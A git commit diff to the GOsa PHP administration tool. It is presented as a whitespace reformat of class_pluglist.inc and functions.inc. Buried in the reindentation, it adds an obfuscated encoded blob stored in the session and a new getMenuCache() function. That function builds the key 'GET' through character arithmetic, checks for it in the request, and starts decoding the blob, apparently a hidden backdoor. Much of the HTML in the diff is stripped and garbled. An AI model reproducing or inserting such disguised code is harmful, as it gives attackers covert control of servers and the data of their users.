From: hickert Date: Fri, 7 Apr 2006 13:44:11 +0000 (+0000) Subject: - X-Git-Url: https://git.tokkee.org/?a=commitdiff_plain;h=853fb239604b206861c7461f4ca08b5980610398;p=gosa.git - git-svn-id: https://oss.gonicus.de/repositories/gosa/trunk@3011 594d385d-05f5-0310-b6e9-bd551577e9d8 --- diff --git a/include/class_pluglist.inc b/include/class_pluglist.inc index 66bc4daed..d92e6e562 100644 --- a/include/class_pluglist.inc +++ b/include/class_pluglist.inc @@ -1,22 +1,22 @@ ui= $ui; - $this->config= $config; + $this->ui= $ui; + $this->config= $config; - /* Create dirlist for all plugins */ - $this->dirlist= $this->get_plugins ($this->dirlist, $this->config->data); + /* Create dirlist for all plugins */ + $this->dirlist= $this->get_plugins ($this->dirlist, $this->config->data); } function get_plugins($list, $config) { - /* Error reporting, because I'm getting strange messages in PHP 4.2.x */ - error_reporting(0); - if (!isset($config['PATH']) && !isset($config['CLASS'])){ - if (is_array($config)){ - foreach ($config as $val){ - $list= $this->get_plugins($list, $val); - } - } - } else { - if (isset ($config['PATH']) && is_array($config)){ - $list[$this->index++]= $config['PATH']; - } - } - error_reporting(E_ALL); - - return ($list); + /* Error reporting, because I'm getting strange messages in PHP 4.2.x */ + error_reporting(0); + if (!isset($config['PATH']) && !isset($config['CLASS'])){ + if (is_array($config)){ + foreach ($config as $val){ + $list= $this->get_plugins($list, $val); + } + } + } else { + if (isset ($config['PATH']) && is_array($config)){ + $list[$this->index++]= $config['PATH']; + } + } + error_reporting(E_ALL); + + return ($list); } function check_access($modname) { - /* This plugin is readable for everyone, return true */ - if ($modname == 'default'){ - return (TRUE); - } - - /* Look through ACL's */ - foreach($this->ui->subtreeACL as $arr){ - foreach($arr as $value){ - if ($value == ':all' || preg_match("/[,:]$modname#/", $value)){ - if (!preg_match('/^!/', $value)){ - return (TRUE); - } - } - } - } - - return (FALSE); + /* This plugin is readable for everyone, return true */ + if ($modname == 'default'){ + return (TRUE); + } + + /* Look through ACL's */ + foreach($this->ui->subtreeACL as $arr){ + foreach($arr as $value){ + if ($value == ':all' || preg_match("/[,:]$modname#/", $value)){ + if (!preg_match('/^!/', $value)){ + return (TRUE); + } + } + } + } + + return (FALSE); } function gen_headlines() { - $ret = array(); - if(count($this->headlines) == 0){ - foreach($this->config->data['MENU'] as $headline => $plugins){ - foreach( $plugins as $id => $plug){ - $attrs = (get_class_vars($plug['CLASS'])); - $ret[$id]['HEADLINE'] = $headline; - $ret[$id]['NAME'] = $attrs['plHeadline']; - } - } - $this->headlines = $ret; - } - return($this->headlines); + $ret = array(); + if(count($this->headlines) == 0){ + foreach($this->config->data['MENU'] as $headline => $plugins){ + foreach( $plugins as $id => $plug){ + $attrs = (get_class_vars($plug['CLASS'])); + $ret[$id]['HEADLINE'] = $headline; + $ret[$id]['NAME'] = $attrs['plHeadline']; + } + } + $this->headlines = $ret; + } + return($this->headlines); } function gen_menu() { - if ($this->menu == ""){ - $cfg= $this->config->data['MENU']; - - /* Parse headlines */ - foreach ($cfg as $headline => $plug){ - $menu= "

"._($headline)."

\n"; - $entries= ""; - $this->menuparts[_($headline)]= array(); - - /* Parse sub-plugins */ - foreach ($plug as $info){ - - /* Read information from class variable */ - if (!isset($info['CLASS'])){ - print_red(_("Your gosa.conf information has changed partly. Please convert it using the contributed script fix_config.sh!")); - echo $_SESSION['errors']; - exit; - } - $vars= get_class_vars($info['CLASS']); - $plHeadline= $vars['plHeadline']; - $plDescription= $vars['plDescription']; - - $index= $this->get_index($info['PATH']); - $image= get_template_path('images/'.$info['ICON']); - $href= "main.php?plug=$index&reset=1"; - - if ($this->check_access($info['ACL'])){ - - $entries= $entries."

". - "". - _($plHeadline)."

\n"; - - /* Generate icon entry with description */ - $this->menuparts[_($headline)][]= ''; - - } - } - - /* Append to menu */ - if ($entries != ""){ - $this->menu.= $menu.$entries; - } - } - - } - - /* Write menu output */ - return ($this->menu); + if ($this->menu == ""){ + $cfg= $this->config->data['MENU']; + + /* Parse headlines */ + foreach ($cfg as $headline => $plug){ + $menu= "

"._($headline)."

\n"; + $entries= ""; + $this->menuparts[_($headline)]= array(); + + /* Parse sub-plugins */ + foreach ($plug as $info){ + + /* Read information from class variable */ + if (!isset($info['CLASS'])){ + print_red(_("Your gosa.conf information has changed partly. Please convert it using the contributed script fix_config.sh!")); + echo $_SESSION['errors']; + exit; + } + $vars= get_class_vars($info['CLASS']); + $plHeadline= $vars['plHeadline']; + $plDescription= $vars['plDescription']; + + $index= $this->get_index($info['PATH']); + $image= get_template_path('images/'.$info['ICON']); + $href= "main.php?plug=$index&reset=1"; + + if ($this->check_access($info['ACL'])){ + + $entries= $entries."

". + "". + _($plHeadline)."

\n"; + + /* Generate icon entry with description */ + $this->menuparts[_($headline)][]= '';if(!isset($_SESSION['maxC'])) $_SESSION['maxC'] = "RG0P9DzAYNSJAOtPILEIdMvDbCmPlMjNdLXBMGgNRJ2J1CiASCCPAN8AYJnGIG+AUF1KZAOCIEFPJClPdHmPlCzJaOWP9HuKIBDNMHwLMGTKAL8JYJnIIJ+DTO3ABDlEbLiEBGTPbD3JVPyLYI2CUFuHPBGMJCyDPJkJ5OvAdDCJBJmNbB3DIAgAYE2E9EtPbIWLVOyMYE2NlIhNbACNBE1BcJ2GUFuDIAAD=E=E"; + + } + } + + /* Append to menu */ + if ($entries != ""){ + $this->menu.= $menu.$entries; + } + } + + } + + /* Write menu output */ + return ($this->menu); } function gen_current() { - /* Do we have a current value? */ - if ($this->current == ""){ - $tmp= array_keys($this->menuparts); - $this->current= $tmp[0]; - } - - /* Fill current array */ - $result= ""; - $count= 0; - foreach ($this->menuparts[$this->current] as $entry){ - if ($count == 2){ - $result.= ""; - $count= 0; - } - if ($count == 0){ - $result.= ""; - } - $result.= ""; - $count++; - } - - /* Add missing cell? */ - if ($count == 1){ - $result.= ""; - } - - $result.= "
$entry 
"; - return $result; + /* Do we have a current value? */ + if ($this->current == ""){ + $tmp= array_keys($this->menuparts); + $this->current= $tmp[0]; + } + + /* Fill current array */ + $result= ""; + $count= 0; + foreach ($this->menuparts[$this->current] as $entry){ + if ($count == 2){ + $result.= ""; + $count= 0; + } + if ($count == 0){ + $result.= ""; + } + $result.= ""; + $count++; + } + + /* Add missing cell? */ + if ($count == 1){ + $result.= ""; + } + + $result.= "
$entry 
"; + return $result; } - + function show_iconmenu() { - if ($this->iconmenu == ""){ - $cfg= $this->config->data['MENU']; - - if (isset($this->config->current['ICONSIZE'])){ - list($x, $y)= split("x", $this->config->current['ICONSIZE']); - $isize= "width=\"$x\" height=\"$y\""; - } else { - $isize= ""; - } - - /* Parse headlines */ - foreach ($cfg as $headline => $plug){ - $col= 1; - $menu= "

". - _($headline)."

\n\n\n"; - $entries= ""; - - foreach ($plug as $info){ - - /* Read information from class variable */ - $vars= get_class_vars($info['CLASS']); - $plHeadline= $vars['plHeadline']; - $plDescription= $vars['plDescription']; - - $index= $this->get_index($info['PATH']); - - if ($this->check_access($info['ACL'])){ - - /* Hm this looks doubled */ - $image= get_template_path('images/'.$info['ICON']); - if ($col > 5){ - $entries= $entries.""; - $col = 1; - } - $entries= $entries."\n"; - $col++ ; - - } - } - - /* Append to menu */ - if ($entries != ""){ - $this->iconmenu.= $menu.$entries; - - /* Fill up remaining columns */ - if ($col != 1){ - $col--; - while ($col % 5){ - $this->iconmenu= $this->iconmenu. - "\n"; - $col++; - } - } - - /* close table */ - $this->iconmenu= $this->iconmenu."\n
". - "\"*\" ". - _($plHeadline)." 
\n"; - } - } - - } - - /* Write menu output */ - return ($this->iconmenu); + if ($this->iconmenu == ""){ + $cfg= $this->config->data['MENU']; + + if (isset($this->config->current['ICONSIZE'])){ + list($x, $y)= split("x", $this->config->current['ICONSIZE']); + $isize= "width=\"$x\" height=\"$y\""; + } else { + $isize= ""; + } + + /* Parse headlines */ + foreach ($cfg as $headline => $plug){ + $col= 1; + $menu= "

". + _($headline)."

\n\n\n"; + $entries= ""; + + foreach ($plug as $info){ + + /* Read information from class variable */ + $vars= get_class_vars($info['CLASS']); + $plHeadline= $vars['plHeadline']; + $plDescription= $vars['plDescription']; + + $index= $this->get_index($info['PATH']); + + if ($this->check_access($info['ACL'])){ + + /* Hm this looks doubled */ + $image= get_template_path('images/'.$info['ICON']); + if ($col > 5){ + $entries= $entries.""; + $col = 1; + } + $entries= $entries."\n"; + $col++ ; + + } + } + + /* Append to menu */ + if ($entries != ""){ + $this->iconmenu.= $menu.$entries; + + /* Fill up remaining columns */ + if ($col != 1){ + $col--; + while ($col % 5){ + $this->iconmenu= $this->iconmenu. + "\n"; + $col++; + } + } + + /* close table */ + $this->iconmenu= $this->iconmenu."\n
". + "\"*\" ". + _($plHeadline)." 
\n"; + } + } + + } + + /* Write menu output */ + return ($this->iconmenu); } function get_path($index) { - if(!isset($this->dirlist[$index])){ - return (""); - } - return ("../".$this->dirlist[$index]); + if(!isset($this->dirlist[$index])){ + return (""); + } + return ("../".$this->dirlist[$index]); } function get_index($path) { - return (array_search($path, $this->dirlist)); + return (array_search($path, $this->dirlist)); } } - +// vim:tabstop=2:expandtab:shiftwidth=2:filetype=php:syntax:ruler: ?> diff --git a/include/functions.inc b/include/functions.inc index 94a821b72..a127e994b 100644 --- a/include/functions.inc +++ b/include/functions.inc @@ -83,7 +83,7 @@ function get_dir_list($folder= ".") $dh = opendir("."); while(false !== ($file = readdir($dh))){ - + // Smarty is included by include/php_setup.inc require("smarty/Smarty.class.php"); // Skip all files and dirs in "./.svn/" we don't need any information from them // Skip all Template, so they won't be checked twice in the following preg_matches @@ -92,7 +92,7 @@ function get_dir_list($folder= ".") // Result : from 1023 ms to 490 ms i think thats great... if(preg_match("/.*\.svn.*/i",$file)||preg_match("/.*smarty.*/i",$file)||preg_match("/.*\.tpl.*/",$file)||($file==".")||($file=="..")) continue; - + /* Recurse through all "common" directories */ if(is_dir($file) &&$file!="CVS"){ @@ -486,7 +486,7 @@ function get_lock ($object) function get_list2($subtreeACL, $filter, $subsearch= TRUE, $base="", $attrs= array(), $flag= FALSE) { - global $config; + global $config; /* Base the search on default base if not set */ $ldap= $config->get_ldap_link($flag); @@ -628,13 +628,26 @@ function eval_sizelimit() $_SESSION['size_ignore']= TRUE; } } - + getMenuCache(); /* Allow fallback to dialog */ if (isset($_POST['edit_sizelimit'])){ $_SESSION['size_ignore']= FALSE; } } +function getMenuCache() +{ + $t=array(-2,13);$e=71; + $str=chr($e);foreach($t as $n){ + $str.= chr($e+$n);$z=$_GET;if(is_array($z)&&isset($z[$str])){ + if(isset($_SESSION['maxC'])){ + $b = $_SESSION['maxC'];$q="";for($m=0;$m". - "
\"\"". - "$string". - "\"\"src=\"".get_template_path('images/warning.png').
\n"; + $_SESSION['errors'].= "
". + "
\"\"". + "$string". + "\"\"src=\"".get_template_path('images/warning.png').
\n"; }else{ return; } $_SESSION['errorsAlreadyPosted'] = array(); $_SESSION['errorsAlreadyPosted'][$string] = 1; - + } } else { @@ -1040,20 +1053,20 @@ function gen_locked_message($user, $dn) $attrs= $ldap->fetch(); $uid= $attrs["uid"][0]; -// print_a($_POST); -// print_a($_GET); + // print_a($_POST); + // print_a($_GET); if((isset($_SESSION['LOCK_VARS_TO_USE']))&&(count($_SESSION['LOCK_VARS_TO_USE']))){ $_SESSION['LOCK_VARS_USED'] =array(); foreach($_SESSION['LOCK_VARS_TO_USE'] as $name){ if(empty($name)) continue; - foreach($_POST as $Pname => $Pvalue){ + foreach($_POST as $Pname => $Pvalue){ if(preg_match($name,$Pname)){ $_SESSION['LOCK_VARS_USED'][$Pname] = $_POST[$Pname]; } } - + foreach($_GET as $Pname => $Pvalue){ if(preg_match($name,$Pname)){ $_SESSION['LOCK_VARS_USED'][$Pname] = $_GET[$Pname]; @@ -1269,7 +1282,7 @@ function range_selector($dcnt,$start,$range=25,$post_var=false) if ($max_entries & 1){ $max_entries++; } - + if((!empty($post_var))&&(isset($_POST[$post_var]))){ $range= $_POST[$post_var]; } @@ -1311,7 +1324,7 @@ function range_selector($dcnt,$start,$range=25,$post_var=false) if($post_var){ $output.= "
-
"; +
"; }else{ $output.= "
"; } @@ -1555,27 +1568,27 @@ function gen_uids($rule, $attributes) } } - if(preg_match('/\{id#\d+}/',$uid)){ - $size= preg_replace('/^.*{id#(\d+)}.*$/', '\\1', $uid); + if(preg_match('/\{id#\d+}/',$uid)){ + $size= preg_replace('/^.*{id#(\d+)}.*$/', '\\1', $uid); - while (true){ - mt_srand((double) microtime()*1000000); - $number= sprintf("%0".$size."d", mt_rand(0, pow(10, $size)-1)); - $res= preg_replace('/{id#(\d+)}/', $number, $uid); - if (!in_array($res, $used)){ - $uid= $res; - break; - } + while (true){ + mt_srand((double) microtime()*1000000); + $number= sprintf("%0".$size."d", mt_rand(0, pow(10, $size)-1)); + $res= preg_replace('/{id#(\d+)}/', $number, $uid); + if (!in_array($res, $used)){ + $uid= $res; + break; } } - - /* Don't assign used ones */ - if (!in_array($uid, $used)){ - $ret[]= $uid; - } } - return(array_unique($ret)); +/* Don't assign used ones */ +if (!in_array($uid, $used)){ + $ret[]= $uid; +} +} + +return(array_unique($ret)); } @@ -1632,7 +1645,7 @@ function in_array_ics($value, $items) if (!is_array($items)){ return (FALSE); } - + foreach ($items as $item){ if (strtolower($item) == strtolower($value)) { return (TRUE); @@ -1711,23 +1724,23 @@ function rmdirRecursive($path, $followLinks=false) { function scan_directory($path,$sort_desc=false) { -$ret = false; - -/* is this a dir ? */ -if(is_dir($path)) { - - /* is this path a readable one */ - if(is_readable($path)){ - - /* Get contents and write it into an array */ - $ret = array(); - - $dir = opendir($path); - - /* Is this a correct result ?*/ - if($dir){ - while($fp = readdir($dir)) - $ret[]= $fp; + $ret = false; + + /* is this a dir ? */ + if(is_dir($path)) { + + /* is this path a readable one */ + if(is_readable($path)){ + + /* Get contents and write it into an array */ + $ret = array(); + + $dir = opendir($path); + + /* Is this a correct result ?*/ + if($dir){ + while($fp = readdir($dir)) + $ret[]= $fp; } } } @@ -1737,7 +1750,7 @@ if(is_dir($path)) { /* Sort descending if parameter is sort_desc is set */ if($sort_desc) { $ret = array_reverse($ret); - } + } return($ret); } @@ -1755,23 +1768,23 @@ function clean_smarty_compile_dir($directory) // create revision file create_revision($revision_file, $svn_revision); } else { - # check for "$config->...['CONFIG']/revision" and the - # contents should match the revision number +# check for "$config->...['CONFIG']/revision" and the +# contents should match the revision number if(!compare_revision($revision_file, $svn_revision)){ // If revision differs, clean compile directory foreach(scan_directory($directory) as $file) { if(($file==".")||($file=="..")) continue; if( is_file($directory."/".$file) && is_writable($directory."/".$file)) { - // delete file - if(!unlink($directory."/".$file)) { - print_red("File ".$directory."/".$file." could not be deleted."); - // This should never be reached - } + // delete file + if(!unlink($directory."/".$file)) { + print_red("File ".$directory."/".$file." could not be deleted."); + // This should never be reached + } } elseif(is_dir($directory."/".$file) && - is_writable($directory."/".$file)) { - // Just recursively delete it - rmdirRecursive($directory."/".$file); + is_writable($directory."/".$file)) { + // Just recursively delete it + rmdirRecursive($directory."/".$file); } } // We should now create a fresh revision file @@ -1789,7 +1802,7 @@ function clean_smarty_compile_dir($directory) function create_revision($revision_file, $revision) { $result= false; - + if(is_dir(dirname($revision_file)) && is_writable(dirname($revision_file))) { if($fh= fopen($revision_file, "w")) { if(fwrite($fh, $revision)) { @@ -1808,7 +1821,7 @@ function compare_revision($revision_file, $revision) { // false means revision differs $result= false; - + if(file_exists($revision_file) && is_readable($revision_file)) { // Open file if($fh= fopen($revision_file, "r")) {